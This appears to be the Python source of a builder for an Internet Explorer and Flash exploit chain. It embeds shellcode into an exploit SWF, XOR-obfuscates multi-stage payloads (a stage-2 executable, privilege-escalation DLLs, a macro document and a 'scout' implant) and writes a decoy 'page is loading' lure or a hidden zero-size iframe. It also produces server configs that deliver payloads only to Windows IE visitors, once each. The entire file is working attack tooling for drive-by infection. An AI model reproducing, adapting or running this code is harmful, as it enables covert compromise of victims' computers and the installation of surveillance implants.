Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
559 lines (426 sloc) 21.8 KB
#!/usr/bin/env python
import os
import ast
import sys
import copy
import json
import glob
import zlib
import random
import shutil
import pylzma
import struct
import argparse
import platform
import tempfile
import urlparse
import subprocess
import ConfigParser
from zipfile import ZipFile
# ------- start of utils subs -------
# should refactor
def random_id(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0, length, 2):
id += random.choice(number)
id += random.choice(alpha)
return id
def random_alpha(length):
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0, length, 2):
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
out = ''
for i in range(0, len(buf)/4):
c = struct.unpack('<I', buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack('<I', c)
reminder = len(buf) % 4
for i in range(len(buf) - reminder, len(buf)):
c = struct.unpack('B', buf[i])[0]
c ^= 0x41
out += struct.pack('B', c)
return out
def byteArray2String(param):
f, tmp = tempfile.mkstemp()
os.close(f)
f = open(tmp, 'wb')
f.write(param)
f.close()
f = open(tmp, 'rb')
result = f.read()
f.close()
try:
os.unlink(tmp)
except WindowsError:
print 'I/O error when deleting {} file'.format(tmp)
return result
def binpatch(string, placeholder, replacement):
return string[0:string.find(placeholder)] + replacement + string[string.find(placeholder)+len(replacement):]
# ------- end of utils subs -------
# ------- start of build subs -------
def create_swf(stage2_url, binary_xor_key, validate):
XOR_OFFT = 4 * 2
URL_OFFT = 8 * 2
# decompress swf
if validate:
swf_name = 'resources/exploit.swf-validate-ca'
else:
swf_name = 'resources/exploit.swf'
print '[*] using swf: {}'.format( swf_name )
compressed_swf = open(swf_name, 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
swf_buff = swf_buff.replace("ht-201", "abc123")
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
# get shellcode offset
stage2_offset = swf_buff.find(b"EFBEADDE")
if stage2_offset == 0:
print "[!!] gadget for shellcode not found"
sys.exit(-1)
print "[*] gadget for shellcode found at offset 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode
if validate:
shellcode_name = 'resources/shellcode-validate-ca'
else:
shellcode_name = 'resources/shellcode'
print '[*] using shellcode 1st stage: {}'.format( shellcode_name )
shellcode = open(shellcode_name, 'rb').read()
hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL
hex_url = stage2_url.encode('hex') + "0000"
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
# modify xor key
hex_xorkey = ("%08x" % binary_xor_key)
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[*] uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[*] compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
return output_buff
def edn_build(target_directory, ip, serverip, basedir, scout_name, scout_input_path, redirect, output_file, swf_random_name, exe_random_name, expiry, stage2_random_name, stage3doc_random_name, stage3java_random_name, dll_random_name, doc_random_name, exploit_type, validate):
print '[*] Internet Explorer Exploit:\n target directory: {}\n host: {}\n basedir: {}\n scout name: {}\n\
scout input: {}\n output: {}\n swf_random_name: {}\n scout_random_name: {}\n stage2_random_name: {}\n stage3doc_random_name: {}\n stage3java _random_name: {}\n dll_random_name: {}\n doc _random_name: {}\n validate CA: {}'.format(target_directory, ip, basedir, scout_name, scout_input_path, output_file, swf_random_name, exe_random_name, stage2_random_name, stage3doc_random_name, stage3java_random_name, dll_random_name, doc_random_name, validate )
# clear tmp in case there're some leftovers
for root, dirs, files in os.walk('tmp'):
for f in files:
os.unlink(os.path.join(root, f))
for d in dirs:
shutil.rmtree(os.path.join(root, d))
# check whether we're regenerating or not
if os.path.exists(os.path.join(target_directory, '.config')):
print '[*] N.B. regenerating an existing exploit'
old_stuff = os.path.join(target_directory, 'instance_{}'.format(random_id(5)))
os.mkdir(old_stuff)
shutil.move(os.path.join(target_directory, 'data'), old_stuff)
for f in glob.glob(os.path.join(target_directory, '*.ini')):
shutil.move(f, old_stuff)
shutil.move(old_stuff, os.getcwd())
os.mkdir(os.path.join(target_directory, 'data'))
#locals
binary_xor_key = random.randint(0xdead, 0xdeadbeef-1)
# check whether we're regenerating this exploit, i.e. '.config' file exists within the exploit root dir
config_path = os.path.join(target_directory, '.config')
if os.path.exists(config_path):
data = json.load(open(config_path))
exploitpage_url = data['url']
exploitpage_relative_url = exploitpage_url[exploitpage_url.rfind('/')+1:]
parsed_url = urlparse.urlparse(exploitpage_url)
serverip = parsed_url.scheme + '://' + parsed_url.netloc
basdir = parsed_url.path[1:parsed_url.path.rfind('/')]
else:
exploitpage_relative_url = random_alpha(10) + '.html'
exploitpage_url = 'http://' + serverip + basedir + exploitpage_relative_url
open(config_path, 'w').write('{{"url": "{}"}}'.format(exploitpage_url))
# exe_url = ip + '/' + basedir + '/' + exe_random_name
# swf_url = ip + '/' + basedir + '/' + swf_random_name
# stage2_url = ip + '/' + basedir + '/' + stage2_random_name
# stage3doc_url = ip + '/' + basedir + '/' + stage3doc_random_name
# stage3java_url = ip + '/' + basedir + '/' + stage3java_random_name
exe_url = ip + basedir + exe_random_name
swf_url = ip + basedir + swf_random_name
stage2_url = ip + basedir + stage2_random_name
stage3doc_url = ip + basedir + stage3doc_random_name
stage3java_url = ip + basedir + stage3java_random_name
print '[*] xor key: {}'.format(binary_xor_key)
print '[*] scout_url: {}'.format(exe_url)
print '[*] swf_url: {}'.format(swf_url)
print '[*] stage2_url: {}'.format(stage2_url)
print '[*] stage3java_url: {}'.format(stage3java_url)
print '[*] stage3doc_url: {}'.format(stage3doc_url)
print '[*] exploitpage_url: {}'.format(exploitpage_url)
# 0] last but not least create and dump the html page
if exploit_type == 'iehosted':
page = """<html>
<head>
</head>
<body>
<h2> Please wait, the requested page is loading...</h2>
<br>
<p align="center">
<img src="ajax-loader.gif" width="40" height="40">
</p>
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" WIDTH="550" HEIGHT="400" id="movie"><PARAM NAME=movie VALUE="SWF_URL"><PARAM NAME=quality VALUE=high><PARAM NAME=bgcolor VALUE=#FFFFFF><EMBED src="SWF_URL" quality=high bgcolor=#FFFFFF WIDTH="550" HEIGHT="400" NAME="movie" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.adobe.com/go/getflashplayer"></EMBED></OBJECT>
</body>
<script>
setTimeout(function () {
window.location.reload();
}, 10000);
</script>
</html>
"""
elif exploit_type == 'iehtml':
page = """<html>
<head>
</head>
<body>
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" WIDTH="550" HEIGHT="400" id="4"><PARAM NAME=movie VALUE="SWF_URL"><PARAM NAME=quality VALUE=high><PARAM NAME=bgcolor VALUE=#FFFFFF><EMBED src="SWF_URL" quality=high bgcolor=#FFFFFF WIDTH="550" HEIGHT="400" NAME="SWF_NAME" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.adobe.com/go/getflashplayer"></EMBED></OBJECT>
</body>
</html>
"""
else:
print '[E] wrong exploit type: {}'.format(exploit_type)
exit(1)
#open(exploitpage_relative_url, 'w').write(page.replace('SWF_URL', swf_random_name))
open(exploitpage_relative_url, 'w').write(page.replace('SWF_URL', swf_url))
shutil.move(exploitpage_relative_url, os.path.join(target_directory, 'data/') )
# copy ajax-loader.gif
#image_folder = os.path.join(os.path.join(target_directory, 'data'), './images')
#os.mkdir(image_folder)
shutil.copy('resources/ajax-loader.gif', os.path.join(target_directory, 'data/') )
# copy xp filter and empty.swf
shutil.copy('resources/empty.swf', os.path.join(target_directory, 'data/') )
shutil.copy('resources/xp_filter.py', os.path.join(target_directory, 'data/') )
os.chmod(os.path.join(target_directory, 'data/xp_filter.py'), 0755)
# 1] create and dump 1st stage swf
swf_shellcode = create_swf(stage2_url, binary_xor_key, validate)
open(swf_random_name, 'wb').write(swf_shellcode)
shutil.move(swf_random_name, os.path.join(target_directory, 'data/not_really_empty.swf') )
# 2] create and dump 2nd stage
if validate:
shellcode_stage2 = 'resources/Shellcode-Stage2-IE.exe-validate-ca'
else:
shellcode_stage2 = 'resources/Shellcode-Stage2-IE.exe'
print '[*] using shellcode 2nd stage: {}'.format( shellcode_stage2 )
stage2_buff = open(shellcode_stage2, 'rb').read()
stage2_buff = binpatch(stage2_buff, "EXE_URL".encode("utf_16")[2:], exe_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "EXE_NAME".encode("utf_16")[2:], scout_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DOCESCAPE_URL".encode("utf_16")[2:], stage3doc_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "JAVAESCAPE_URL".encode("utf_16")[2:], stage3java_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DOC_TEMP_NAME".encode("utf_16")[2:], doc_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DLL_TEMP_NAME".encode("utf_16")[2:], dll_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "SCOUT_TEMP_NAME".encode("utf_16")[2:], exe_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "ORIGINAL_URL".encode("utf_16")[2:], ip.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = stage2_buff.replace("\xef\xbe\xad\xde", struct.pack("<L", binary_xor_key))
open(stage2_random_name, 'wb').write(four_byte_xor(stage2_buff, binary_xor_key))
shutil.move(stage2_random_name, os.path.join(target_directory, 'data/'))
# 3a] create and dump 3rd stage java
stage3_buff = open("resources/PMIEFuck-Java.dll", 'rb').read()
open(stage3java_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))
shutil.move(stage3java_random_name, os.path.join(target_directory, 'data/'))
# 3b] create and dump 3rd stage blob (dll + doc)
stage3_lib_buff = open("resources/PMIEFuck-WinWord.dll", 'rb').read()
stage3_lib_len = len(stage3_lib_buff)
stage3_doc_buff = open("resources/owned.docm", 'rb').read()
stage3_doc_len = len(stage3_doc_buff)
stage3_buff = struct.pack("<L", stage3_lib_len)
stage3_buff += struct.pack("<L", stage3_doc_len)
stage3_buff += stage3_lib_buff
stage3_buff += stage3_doc_buff
open(stage3doc_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))
shutil.move(stage3doc_random_name, os.path.join(target_directory, 'data/'))
# 4] create and dump scout
scout_buff = open(scout_input_path, 'rb').read()
open(exe_random_name, 'wb').write(four_byte_xor(scout_buff, binary_xor_key))
shutil.move(exe_random_name, os.path.join(target_directory, 'data/') )
# iehtml only: don't serve a redirect, rather serve a blank page
if exploit_type == 'iehtml':
open('empty.html', 'w').write('<html></html>')
shutil.move('empty.html', os.path.join(target_directory, 'data/') )
# --- generate edn configuration ---
baseconfig = {
"general": { "expiry": 0, "hits": 1 },
"valid": { },
"invalid": {"type": 404},
"filters": { 'platform_description': '/windows/i', 'browser': '/^IE$/' },
}
# -1] gif
gif_config = copy.deepcopy(baseconfig)
gif_config['general']['expiry'] = expiry
gif_config['general']['hits'] = -1
gif_config['valid']['type'] = 'data'
gif_config['valid']['path'] = 'ajax-loader.gif'
gif_config['valid']['headers[Content-Type]'] = 'image/gif'
write_edn_config(target_directory, 'ajax-loader.gif', gif_config)
# 0] exploit page
# redirect must start with http://
if exploit_type == 'iehosted':
if not (redirect.startswith('http://') or redirect.startswith('https://') ):
redirect = 'http://' + redirect
html_config = copy.deepcopy(baseconfig)
html_config['general']['pos'] = 'first'
html_config['general']['expiry'] = expiry
html_config['valid']['type'] = 'data'
html_config['valid']['headers[Content-Type]'] = 'text/html'
html_config['valid']['path'] = './{}'.format(exploitpage_relative_url)
html_config['related'] = {}
html_config['related'][swf_random_name] = '+2min'
html_config['invalid'] = {}
if exploit_type == 'iehtml':
html_config['invalid']['type'] = 'data'
html_config['invalid']['path'] = 'empty.html'
html_config['invalid']['headers[Content-Type]'] = 'text/html'
else:
html_config['invalid']['type'] = 301
html_config['invalid']['headers[Location]'] = redirect
write_edn_config(target_directory, exploitpage_relative_url, html_config)
# 1] swf with win xp filter
swf_config = copy.deepcopy(baseconfig)
swf_config['valid']['type'] = 'exec'
#swf_config['valid']['path'] = './{}'.format(swf_random_name)
swf_config['valid']['path'] = './xp_filter.py'
swf_config['valid']['headers[Content-Type]'] = 'application/x-shockwave-flash'
swf_config['related'] = {}
swf_config['related'][stage2_random_name] = '+2min'
write_edn_config(target_directory, swf_random_name, swf_config)
# 2] 2nd stage
stage2_config = copy.deepcopy(baseconfig)
stage2_config['valid']['type'] = 'data'
stage2_config['valid']['path'] = './{}'.format(stage2_random_name)
stage2_config['valid']['header[Content-Type]'] = 'application/octet-stream'
stage2_config['related'] = {}
stage2_config['related'][stage3doc_random_name] = '+2min'
stage2_config['related'][stage3java_random_name] = '+2min'
write_edn_config(target_directory, stage2_random_name, stage2_config)
# 3a] 3rd stage java
stage3java_config = copy.deepcopy(baseconfig)
stage3java_config['valid']['type'] = 'data'
stage3java_config['valid']['path'] = './{}'.format(stage3java_random_name)
stage3java_config['valid']['header[Content-Type]'] = 'application/octet-stream'
stage3java_config['related'] = {}
stage3java_config['related'][exe_random_name] = '+2min'
stage3java_config['related'][stage3doc_random_name] = 0
write_edn_config(target_directory, stage3java_random_name, stage3java_config)
# 3b] 3rd stage doc
stage3doc_config = copy.deepcopy(baseconfig)
stage3doc_config['valid']['type'] = 'data'
stage3doc_config['valid']['path'] = './{}'.format(stage3doc_random_name)
stage3doc_config['valid']['header[Content-Type]'] = 'application/octet-stream'
stage3doc_config['related'] = {}
stage3doc_config['related'][exe_random_name] = '+2min'
stage3doc_config['related'][stage3java_random_name] = 0
write_edn_config(target_directory, stage3doc_random_name, stage3doc_config)
# 4] scout
scout_config = copy.deepcopy(baseconfig)
scout_config['general']['pos'] = 'last'
scout_config['valid']['type'] = 'data'
scout_config['valid']['path'] = './{}'.format(exe_random_name)
scout_config['valid']['header[Content-Type]'] = 'application/octet-stream'
scout_config['related'] = {}
write_edn_config(target_directory, exe_random_name, scout_config)
# dump link to --output
exploit_url = exploitpage_url #serverip + basedir + exploitpage_relative_url
if not validate:
exploit_url = exploit_url.replace('https://', 'http://')
if exploit_type == 'iehosted':
open(output_file, 'wb').write(exploit_url )
print '[*] serving exploit at: {}'.format( exploit_url)
elif exploit_type == 'iehtml':
#page = '<iframe height="80px" width="80px" scrolling="no" seamless="seamless" frameborder="0" src="EXPLOIT"></iframe>'
page = '<script type="text/javascript">window.addEventListener("DOMContentLoaded", function() {var iframe = document.createElement("iframe");iframe.style.height = 0;iframe.style.width = 0;iframe.style.border = "none";iframe.setAttribute("src", "EXPLOIT");document.body.appendChild(iframe);}, false);</script>'
page = page.replace('EXPLOIT', exploit_url)
open(output_file, 'wb').write(page)
print '[*] iframe points to exploit at: {}'.format(exploit_url)
def write_edn_config(target_directory, filename, options):
config = ConfigParser.RawConfigParser()
# Prevent ConfigParser from transforming option names to lowercase
config.optionxform = str
for k in options:
config.add_section(k)
for optk in options[k]:
config.set(k, optk, options[k][optk])
confpath = os.path.join(target_directory, filename + ".ini")
with open(confpath, "w") as fp:
config.write(fp)
print "[*] wrote EDN config file: {}".format(confpath)
# ------- end of build subs -------
# ./build --serveraddr='192.168.0.1' --serverip='192.168.0.1' --basedir='/docs/veryrandomdir/' --outdir='outdir/' --output='output' --t
# ype='worddoc' --expiry='1413469552' --client='CUSTOMER' --type='worddoc' --agent='upload/zip.exe' --document='upload/Doc.docx'
def main():
random.seed()
# 0] scout_name
# 1] scout input path
# 2] docx input
# 3] docx output path
parser = argparse.ArgumentParser(description='[*] Internet Explorer Exploit')
parser.add_argument('--outdir', help='exploit destination folder', type=str, required=True)
parser.add_argument('--serveraddr', help='server address hostname if available', type=str, required=True)
parser.add_argument('--serverip', help='server ip', type=str, required=True)
parser.add_argument('--agent', help='input scout', type=str, required=True)
parser.add_argument('--output', help='output docx', type=str, required=True)
parser.add_argument('--basedir', help='base directory', type=str, required=True)
parser.add_argument('--expiry', help='expiry date', type=str, required=True)
parser.add_argument('--redirect', help='redirect url', type=str, required=False)
parser.add_argument('--type', help='[iehosted|iehtml]', type=str, required=True)
#parser.add_argument('--validate', help='tls validation', type=str, required=True)
args, unknown = parser.parse_known_args()
swf_random_name = random_id(12) + '.swf'
exe_random_name = random_id(12) + '.dat'
stage2_random_name = random_id(12) + '.dat'
stage3doc_random_name = random_id(12) + '.dat'
stage3java_random_name = random_id(12) + '.dat'
dll_random_name = random_id(12) + '.dat'
doc_random_name = random_id(12) + '.docm' # doc for privesc
serveraddr = 'https://' + args.serveraddr
#if not( args.validate == 'True' or args.validate == 'False'):
# print '[E] --validate must be either True of False'
# exit(-1)
#else:
# validate = ast.literal_eval(args.validate)
validate = True
# check type is either iehosted or iehtml
if not( args.type == 'iehosted' or args.type == 'iehtml'):
print '[E] exploit type must be either iehosted or iehtml'
exit(-1)
# extract scout metadata
if platform.system() == 'Windows':
ouch = subprocess.check_output('python ../agentdetect.py --latest "{}"'.format(args.agent), shell=True )
else:
ouch = subprocess.check_output('agentdetect --latest "{}"'.format(args.agent), shell=True )
if ouch.strip() == 'None':
print '[E] scout provided is not up to date'
exit(-1)
scout_data = json.loads(ouch)
if scout_data['type'] != 'scout':
print '[E] executable provided is not a scout'
exit(-1)
scout_name = scout_data['name']
# build the exploit
edn_build(args.outdir, serveraddr, args.serverip, args.basedir, scout_name, args.agent,
args.redirect, args.output, swf_random_name, exe_random_name, args.expiry,
stage2_random_name, stage3doc_random_name, stage3java_random_name,
dll_random_name, doc_random_name, args.type, validate)
if __name__ == '__main__':
main()